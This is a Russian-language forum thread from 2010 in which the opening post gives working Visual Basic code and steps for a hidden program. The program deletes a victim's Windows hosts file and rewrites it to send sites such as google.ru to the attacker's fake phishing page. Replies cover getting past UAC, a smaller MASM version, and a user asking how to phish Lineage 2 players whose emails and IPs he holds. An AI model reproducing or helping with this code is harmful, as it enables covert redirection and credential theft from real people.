Например полезно для разводов, приведу пример с фейком...
Для начала, делаем фейк.
Заливаем на хостинг с выделенным ip. Далее ищем статью по hosts.
Например, если вписать туда данные:
Код:
127.0.0.1 google.ru
то при заходе на google.ru будет выдаваться Ваш локальный сайт, а в адресной строке будет писать google.ru
Я пишу прогу на Visual Basic...
1. Запускаем прогу, выбираем Standart Exe.
2. В окне Form1 создаём TextBox и пишем там то, что вы хотите добавить в hosts(справа проги, ищем вкладку Alphabetic, потом там ищем Text - менять тут).
3. Дальше в этом же окне создаём Timer. Настраиваем его. Там же во вкладке Alphabetic ищем Enabled и ставим False. Дальше ищем Interval, ставим интервал, через сколько милисекунд будет добавлятся значение... Я поставил 1000.
4. Далее переключаемся на само окошко Form1, жмём правой кнопкой View Code.[Ссылки могут видеть только зарегистрированные пользователи. ]
Вводим туда это:
Код:
Private Sub Form_Load()
Timer1.Enabled = True
Kill "C:\System32\drivers\etc\hosts" ' удаляем файл, смотя какой диск...
End Sub
Private Sub Timer1_Timer()
If Timer1.Interval = 1000 Then ' когда сработает таймер, и данные будут внесены
Open "C:\System32\drivers\etc\hosts" For Append As #1
Print #1, Text1.Text
Close #1
End If
End Sub
Проверяем(вверху есть кнопка плей(Start)... Если всё получилось, то в hosts должны добавиться данные.
Далее дам Вам полезный совет, чтобы когда чел запустит прогу, у него не появлялось окно, а тупо ничего не происходило... Чуть выше Alphabetic есть выпадающий список, так вот, выбираем там Form1 Form, и во вкладке Alphabetic ищем Visible, ставим False... Всё готово.
PS Не у всех людей винда на диске C. Поэтому можно сразу написать windows/system32/drivers/etc/hosts, но тогда предупредите жертву, что прогу запускать на диске с виндой=)))
PSS Кому надо, пишите в личку, скину исходники своей проги...
Удачи Вам!
Последний раз редактировалось baks1; 26.11.2010 в 14:54.
На висте и 7 не прокатит, разве что UAC будет выключен.
Не буду спорить, но друзьям кидал этот файл на проверку, у 1го виста у 2го 7, у которого виста, 100% был включен UAC, а у которого 7 хз, и у обоих работало...
Погуглите по запросу manifest UAC, увидите как можно будет модернизировать программу Я думаю и вам будет интересно, и пользователям полезно =)
[Ссылки могут видеть только зарегистрированные пользователи. ]
________________
В любом из нас спит гений. И с каждым днем все крепче.
Запомните раз и навсегда:= 'Помочь' <> 'Сделайте за меня';
Последний раз редактировалось J-Fobos; 21.11.2010 в 23:31.
Так же можно сделать через системные метки типа %System%(не помню какая точно метка отвечает за папку Windows) чтобы не искать на каком диске, а сразу переходил в папку windows и дальше уже по своему пути.
[Ссылки могут видеть только зарегистрированные пользователи. ] [Ссылки могут видеть только зарегистрированные пользователи. ]
Вот пример абсолютно невидимого приложения, он создаст файлик в папке с которой запущен.
[Ссылки могут видеть только зарегистрированные пользователи. ] [4/43]
________________
В любом из нас спит гений. И с каждым днем все крепче.
Запомните раз и навсегда:= 'Помочь' <> 'Сделайте за меня';
Последний раз редактировалось J-Fobos; 22.11.2010 в 00:01.
Зачем создавать окна и увеличивать в 150 раз размер программы? Проще всего заюзать пару апи функций, связанных с записью в файл.
Вот пример
[Ссылки могут видеть только зарегистрированные пользователи. ] - размер 1024 байта.
Отчет ВТ: [Ссылки могут видеть только зарегистрированные пользователи. ]
MASM
Код:
.386
.model flat, stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
.data
fname db 'test.txt',0
msg db 'test', 0
.data?
hFile dd ?
BTW dd ?
.code
start:
invoke CreateFile,addr fname,GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
mov hFile,eax
invoke WriteFile,hFile,addr msg,sizeof msg-1,addr BTW,0
invoke CloseHandle,hFile
invoke ExitProcess, 0
end start
я чет не понел, у меня есть готовый фейк на гс сайта ла2. И есть доступ на топ клан сайт, там есть инфа о почте игрока и ай пи адреса. Прога создаст 1 файлик я должен его пыханут, он должин типа устонавит. После этого при входо в лк зайдет на мой фейк?
я чет не понел, у меня есть готовый фейк на гс сайта ла2. И есть доступ на топ клан сайт, там есть инфа о почте игрока и ай пи адреса. Прога создаст 1 файлик я должен его пыханут, он должин типа устонавит. После этого при входо в лк зайдет на мой фейк?
я чет не понел, у меня есть готовый фейк на гс сайта ла2. И есть доступ на топ клан сайт, там есть инфа о почте игрока и ай пи адреса. Прога создаст 1 файлик я должен его пыханут, он должин типа устонавит. После этого при входо в лк зайдет на мой фейк?